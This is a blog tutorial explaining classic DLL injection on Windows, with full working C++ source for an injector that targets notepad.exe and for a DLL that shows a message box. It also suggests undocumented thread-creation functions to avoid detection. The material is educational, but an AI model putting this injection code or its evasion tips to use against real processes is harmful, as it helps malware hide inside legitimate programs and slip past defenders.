DLL Injection

George Soultos - Sep 26 '21 - - Dev Community

Introduction

DLL Injection is a process injection technique that allows the attacker to load a DLL file in the virtual address space of another process. By loading a DLL file in the context of another process, adversaries can mask their code under a legitimate process and possibly elevate privileges or evade detection. This is usually achieved by writing the path to a DLL file on the virtual address space of another process, and loads it by invoking a new thread.

Implementation

First of all we have to choose a target process. This can be done by searching through the running processes using Windows API functions like CreateToolhelp32Snapshot, Process32First and Process32Next.

  • CreateToolhelp32Snapshot used to get a snapshot of all the running processes.
  • Process32First used to get the first entry of the processes snapshot.
  • Process32Next used to get the next entry of the processes snapshot (useful for iterating through the processes snapshot).

Once the target process has been found, we can get a handle to it by calling OpenProcess. After that, we have to allocate enough memory space in order to write the path to the DLL file. This can be achieved by calling the Windows API function VirtualAllocEx. The next step will be to write the path of the DLL file in the target process by calling the WriteProcessMemory. Finally we have to call the CreateRemoteThread in order to create a new remote thread in the target process and make sure that it loads the DLL module by calling the LoadLibraryA function.

Steps

  1. Create a DLL file to inject in the target process.
  2. Get a handle to the target process.
  3. Allocate enough memory space in the target process in order to copy the path of DLL file.
  4. Copy the path of the DLL file in the previously allocated space.
  5. Create a remote thread in the target process and ensure that it loads the DLL module.

1. Create a DLL file to inject in the target process.

The code below constructs a very simple DLL file that shows up a message box. All the logic resides in the DllMain function. That's because this is the entry point for every DLL module. In other words this is the function always gets called once the DLL module has been loaded. Notice that our code resides under the DLL_PROCESS_ATTACH case. This important because DLL_PROCESS_ATTACH condition is true, when the DLL is started up as a result of a call to LoadLibrary.

More about DllMain function here

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <WinUser.h>

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBoxW(NULL, L"OK", L"Injection Successfull", MB_ICONINFORMATION);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
Enter fullscreen mode Exit fullscreen mode

2. Get a handle to the target process.

Now that we have our DLL file, we can focus on the injection part. First we need to get a handle to the target process. For the purpose of this tutorial I choose notepad.exe as target process. To achieve this, we have to call the CreateToolhelp32Snapshot in order to get a snapshot of the all the currently running processes. Then we can iterate through the snapshot using the Process32First and Process32Next functions until we found the target process(notepad.exe). Finally we have to call the OpenProcess in order to get a handle to it.

const WCHAR* processName = L"notepad.exe";
const char* dllLocation = "C:\\Users\\George\\source\\repos\\DllInjection\\x64\\Debug\\BadDll.dll";
size_t dllLocationSize = strlen(dllLocation);

HANDLE processSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (processSnap == INVALID_HANDLE_VALUE) {
    std::cout << "[-] Could not retrieve process snapshot. Error code: " << GetLastError();
    return -1;
}
std::cout << "[+] Process snapshot retrieved successfully." << std::endl;

PROCESSENTRY32 processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(processSnap, &processEntry)) {
    std::cout << "[-] Could not iterate through process snapshot. Error code: " << GetLastError();
    return -1;
}

do {
    if (!wcscmp(processEntry.szExeFile, processName)) {
        std::wcout << "[+] Target process found: " << processEntry.szExeFile << " (" << processEntry.th32ProcessID << ")" << std::endl;
        break;
    }
} while (Process32Next(processSnap, &processEntry));

CloseHandle(processSnap);

if (wcscmp(processEntry.szExeFile, processName)) {
    std::cout << "[-] Target process not found.";
    return -1;
}

HANDLE targetProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, processEntry.th32ProcessID);
if (targetProcess == NULL) {
    std::cout << "[-] Could not get a process handle. Error code: " << GetLastError();
    return -1;
}
std::cout << "[+] Process handle retrieved successfully." << std::endl;
Enter fullscreen mode Exit fullscreen mode

3. Allocate enough memory space in the target process in order to copy the path of DLL file.

The next step would be to allocate enough memory space in the target process in order to copy the path of the DLL file. Because the target process is a remote process, in order to allocate memory space we have to call the VirtualAllocEx function.

VirtualAllocEx used to allocate memory in a remote process.

As you can see the first parameter is the handle to the target process, the second one is NULL because we don't want to specify a starting address, so we just let Windows to determine where to allocate the region, the third one is the size of the string that contains the path to the DLL file and the last one is the memory allocation type.

More about VirtualAllocEx here

LPVOID dllPath = VirtualAllocEx(targetProcess, NULL, dllLocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (dllPath == NULL) {
    std::cout << "[-] Could not allocate memory. Error code: " << GetLastError();
    return -1;
}
std::cout << "[+] Menory allocated successfully." << std::endl;
Enter fullscreen mode Exit fullscreen mode

4. Copy the path of the DLL file in the previously allocated space.

Once the memory space has been allocated, all we need to do is to copy the path of the DLL file. Because we want to write in memory space of a remote process, we have to call the WriteProcessMemory function.

WriteProcessMemory is used to write to memory space of a remote process.

So, the first parameter would be the handle to the target process, the second one would be the pointer to the allocated space, the third one would be the string which contains the path to the DLL file and the fourth one would be the size of the string that contains the path to the DLL file. The last parameter is optional, in case that you want to receive number of bytes transferred into the specified process. In this case we don't need this, so we can set this to NULL.

More about WriteProcessMemory here

if (!WriteProcessMemory(targetProcess, dllPath, dllLocation, dllLocationSize, NULL)) {
    std::cout << "[-] Could not inject dll. Error code: " << GetLastError();
    return -1;
}

std::cout << "[+] DLL injected successfully." << std::endl;
Enter fullscreen mode Exit fullscreen mode

5. Create a remote thread in the target process and ensure that it loads the DLL module.

The last step would be to execute our DLL file in the context of the target process. To achieve this, the only thing that we have to do is to create a remote thread in the target process and make sure that once the gets started it will load our DLL module. In order to load the DLL module, we need to make the target process to call the LoadLibraryA. Since LoadLibraryA is an exported function, we need to get the address to it. We can easily do this by calling the GetProcAddress. GetProcAddress takes two parameters: A handle to the DLL module that contains the exported function, and a string that contains the function name that we want to retrieve the address of. LoadLibraryA is exported by kernel32.dll module, so all we need is a handle to kernel32.dll module. That's why we are calling GetModuleHandle.

More about GetProcAddress here


More about GetModuleHandle here

Now that we have the address of the LoadLibraryA function the last step would be to start a new thread in our target process and make sure that it calls the LoadLibraryA function in order to load our DLL module. To achieve this, we have to call CreateRemoteThread. This function takes seven parameters:

  1. A handle to the target process.
  2. This one would be the security attributes, but since we don't have any we can set this to NULL.
  3. The initial stack size. In our case this is 0, which instructs Windows to use the default size.
  4. A pointer to the appilication-defined function that we want our remote process to execute once the thread is started. That will be the address of the LoadLibraryA function.
  5. A pointer to the parameter that we want to pass in LoadLibraryA. LoadLibraryA gets only one parameter, which is the path to the DLL module that we want to load. So we have to set this one with the path to the DLL file.
  6. This one controls the creation of the thread. We should set this to 0 in order to instruct the thread to start immediately.
  7. The last one is a pointer to a variable that we want to retrieve the thread identifier. In our case we don't need this, so we can set this to NULL.

More about CreateRemoteThread here

LPTHREAD_START_ROUTINE loadLibraryAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (!loadLibraryAddress) {
    std::cout << "[-] Could not get the address of LoadLibrary function.";
}
HANDLE remoteThread = CreateRemoteThread(targetProcess, NULL, 0, loadLibraryAddress, dllPath, 0, NULL);
if (remoteThread == NULL) {
    std::cout << "[-] Could create new thread. Error code: " << GetLastError();
    return -1;
}

std::cout << "[+] New thread created successfully";
Enter fullscreen mode Exit fullscreen mode

Notes

  • Instead of CreateRemoteThread we could use NtCreateThreadEx or RtlCreateUserThread undocumented functions in order to avoid detection.

Source code

dllmain.cpp

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <WinUser.h>

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBoxW(NULL, L"OK", L"Injection Successfull", MB_ICONINFORMATION);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
Enter fullscreen mode Exit fullscreen mode

DllInjection.cpp

#include <iostream>
#include <windows.h>
#include <tlhelp32.h>

int main()
{
    const WCHAR* processName = L"notepad.exe";
    const char* dllLocation = "C:\\Users\\George\\source\\repos\\DllInjection\\x64\\Debug\\BadDll.dll";
    size_t dllLocationSize = strlen(dllLocation);

    HANDLE processSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (processSnap == INVALID_HANDLE_VALUE) {
        std::cout << "[-] Could not retrieve process snapshot. Error code: " << GetLastError();
        return -1;
    }
    std::cout << "[+] Process snapshot retrieved successfully." << std::endl;

    PROCESSENTRY32 processEntry;
    processEntry.dwSize = sizeof(PROCESSENTRY32);

    if (!Process32First(processSnap, &processEntry)) {
        std::cout << "[-] Could not iterate through process snapshot. Error code: " << GetLastError();
        return -1;
    }

    do {
        if (!wcscmp(processEntry.szExeFile, processName)) {
            std::wcout << "[+] Target process found: " << processEntry.szExeFile << " (" << processEntry.th32ProcessID << ")" << std::endl;
            break;
        }
    } while (Process32Next(processSnap, &processEntry));

    CloseHandle(processSnap);

    if (wcscmp(processEntry.szExeFile, processName)) {
        std::cout << "[-] Target process not found.";
        return -1;
    }

    HANDLE targetProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, processEntry.th32ProcessID);
    if (targetProcess == NULL) {
        std::cout << "[-] Could not get a process handle. Error code: " << GetLastError();
        return -1;
    }
    std::cout << "[+] Process handle retrieved successfully." << std::endl;

    LPVOID dllPath = VirtualAllocEx(targetProcess, NULL, dllLocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (dllPath == NULL) {
        std::cout << "[-] Could not allocate memory. Error code: " << GetLastError();
        return -1;
    }
    std::cout << "[+] Menory allocated successfully." << std::endl;

    if (!WriteProcessMemory(targetProcess, dllPath, dllLocation, dllLocationSize, NULL)) {
        std::cout << "[-] Could not inject dll. Error code: " << GetLastError();
        return -1;
    }

    std::cout << "[+] DLL injected successfully." << std::endl;

    LPTHREAD_START_ROUTINE loadLibraryAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
    if (!loadLibraryAddress) {
        std::cout << "[-] Could not get the address of LoadLibrary function.";
    }
    HANDLE remoteThread = CreateRemoteThread(targetProcess, NULL, 0, loadLibraryAddress, dllPath, 0, NULL);
    if (remoteThread == NULL) {
        std::cout << "[-] Could create new thread. Error code: " << GetLastError();
        return -1;
    }

    /*
    * We could implement DLL injection through NtCreateThreadEx or RtlCreateUserThread.
    */

    std::cout << "[+] New thread created successfully";

}
Enter fullscreen mode Exit fullscreen mode

References

. . .